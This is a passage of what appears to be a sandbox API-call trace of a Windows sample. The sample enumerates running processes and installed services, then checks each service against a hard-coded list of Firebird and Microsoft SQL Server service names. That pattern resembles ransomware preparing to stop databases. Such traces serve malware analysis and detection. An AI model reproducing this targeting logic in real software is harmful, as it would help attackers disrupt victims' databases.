lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0099.649] lstrlenW (lpString="dome.exe") returned 8 [0099.649] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0099.650] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0099.650] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0099.650] lstrlenW (lpString="paying.exe") returned 10 [0099.651] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0099.651] lstrlenW (lpString="emission.exe") returned 12 [0099.651] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0099.652] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0099.652] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0099.652] lstrlenW (lpString="charter.exe") returned 11 [0099.653] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0099.653] lstrlenW (lpString="nickel.exe") returned 10 [0099.653] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0099.654] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0099.654] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0099.655] lstrlenW (lpString="wrist.exe") returned 9 [0099.655] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0099.656] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0099.656] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0099.700] lstrlenW (lpString="neck.exe") returned 8 [0099.700] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0099.700] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0099.700] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0099.701] lstrlenW (lpString="dllhost.exe") returned 11 [0099.701] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0099.702] lstrlenW (lpString="taskhostw.exe") returned 13 [0099.702] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.703] lstrlenW (lpString="svchost.exe") returned 11 [0099.703] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.704] lstrlenW (lpString="svchost.exe") returned 11 [0099.704] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0099.704] lstrlenW (lpString="reaItek.exe") returned 11 [0099.704] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0099.705] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0099.705] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0099.706] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0099.706] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0099.707] lstrlenW (lpString="conhost.exe") returned 11 [0099.707] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0099.707] lstrlenW (lpString="cmd.exe") returned 7 [0099.707] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0099.708] lstrlenW (lpString="conhost.exe") returned 11 [0099.708] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0099.709] CloseHandle (hObject=0x2b4) returned 1 [0099.709] Sleep (dwMilliseconds=0x1f4) [0100.241] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fec78 [0100.241] EnumServicesStatusExW (in: hSCManager=0x5fec78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0100.242] GetLastError () returned 0xea [0100.242] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fd0) returned 0x42b1468 [0100.242] EnumServicesStatusExW (in: hSCManager=0x5fec78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42b1468, cbBufSize=0x1fd0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42b1468, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0100.242] CloseServiceHandle (hSCObject=0x5fec78) returned 1 [0100.243] lstrlenW (lpString="Appinfo") returned 7 [0100.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0100.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0100.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0100.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0100.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0100.243] lstrlenW (lpString="AppXSvc") returned 7 [0100.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0100.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0100.243] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0100.243] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0100.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0100.243] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0100.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0100.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0100.243] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0100.243] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0100.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0100.243] lstrlenW (lpString="Audiosrv") returned 8 [0100.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0100.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0100.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0100.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0100.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0100.243] lstrlenW (lpString="BFE") returned 3 [0100.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0100.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0100.243] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0100.243] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0100.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0100.243] lstrlenW (lpString="BITS") returned 4 [0100.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0100.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0100.244] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0100.244] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0100.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0100.244] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0100.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0100.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0100.244] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0100.244] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0100.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0100.244] lstrlenW (lpString="CDPSvc") returned 6 [0100.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0100.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0100.244] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0100.244] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0100.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0100.244] lstrlenW (lpString="ClickToRunSvc") returned 13 [0100.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0100.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0100.244] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0100.244] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0100.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0100.244] lstrlenW (lpString="ClipSVC") returned 7 [0100.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0100.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0100.244] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0100.244] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0100.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0100.244] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0100.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0100.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0100.244] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0100.245] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0100.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0100.245] lstrlenW (lpString="CryptSvc") returned 8 [0100.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0100.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0100.245] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0100.245] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0100.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0100.245] lstrlenW (lpString="DcomLaunch") returned 10 [0100.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0100.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0100.245] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0100.245] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0100.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0100.245] lstrlenW (lpString="DeviceAssociationService") returned 24 [0100.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0100.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0100.245] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0100.245] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0100.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0100.245] lstrlenW (lpString="Dhcp") returned 4 [0100.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0100.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0100.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0100.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0100.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0100.245] lstrlenW (lpString="Dnscache") returned 8 [0100.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0100.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0100.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0100.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0100.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0100.245] lstrlenW (lpString="DoSvc") returned 5 [0100.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0100.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0100.246] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0100.246] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0100.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0100.246] lstrlenW (lpString="DPS") returned 3 [0100.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0100.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0100.246] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0100.246] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0100.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0100.246] lstrlenW (lpString="DusmSvc") returned 7 [0100.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0100.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0100.246] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0100.246] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0100.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0100.246] lstrlenW (lpString="EventLog") returned 8 [0100.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0100.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0100.246] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0100.246] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0100.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0100.246] lstrlenW (lpString="EventSystem") returned 11 [0100.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0100.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0100.246] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0100.246] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0100.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0100.246] lstrlenW (lpString="FontCache") returned 9 [0100.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0100.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0100.246] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0100.247] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0100.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0100.247] lstrlenW (lpString="gpsvc") returned 5 [0100.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0100.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0100.247] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0100.247] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0100.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0100.247] lstrlenW (lpString="iphlpsvc") returned 8 [0100.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0100.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0100.247] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0100.247] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0100.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0100.247] lstrlenW (lpString="KeyIso") returned 6 [0100.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0100.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0100.247] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0100.247] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0100.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0100.247] lstrlenW (lpString="LanmanServer") returned 12 [0100.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0100.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0100.247] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0100.247] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0100.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0100.247] lstrlenW (lpString="LanmanWorkstation") returned 17 [0100.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0100.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0100.247] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0100.247] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0100.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0100.247] lstrlenW (lpString="lfsvc") returned 5 [0100.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0100.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0100.248] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0100.248] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0100.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0100.248] lstrlenW (lpString="LicenseManager") returned 14 [0100.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0100.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0100.248] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0100.248] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0100.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0100.248] lstrlenW (lpString="lmhosts") returned 7 [0100.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0100.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0100.248] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0100.248] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0100.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0100.248] lstrlenW (lpString="LSM") returned 3 [0100.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0100.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0100.248] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0100.248] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0100.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0100.248] lstrlenW (lpString="MapsBroker") returned 10 [0100.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0100.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0100.248] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0100.248] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0100.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0100.248] lstrlenW (lpString="MpsSvc") returned 6 [0100.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0100.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0100.249] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0100.249] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0100.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0100.249] lstrlenW (lpString="NcbService") returned 10 [0100.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0100.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0100.249] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0100.249] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0100.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0100.249] lstrlenW (lpString="netprofm") returned 8 [0100.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0100.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0100.249] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0100.249] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0100.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0100.249] lstrlenW (lpString="NlaSvc") returned 6 [0100.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0100.249] lstrcmpiW 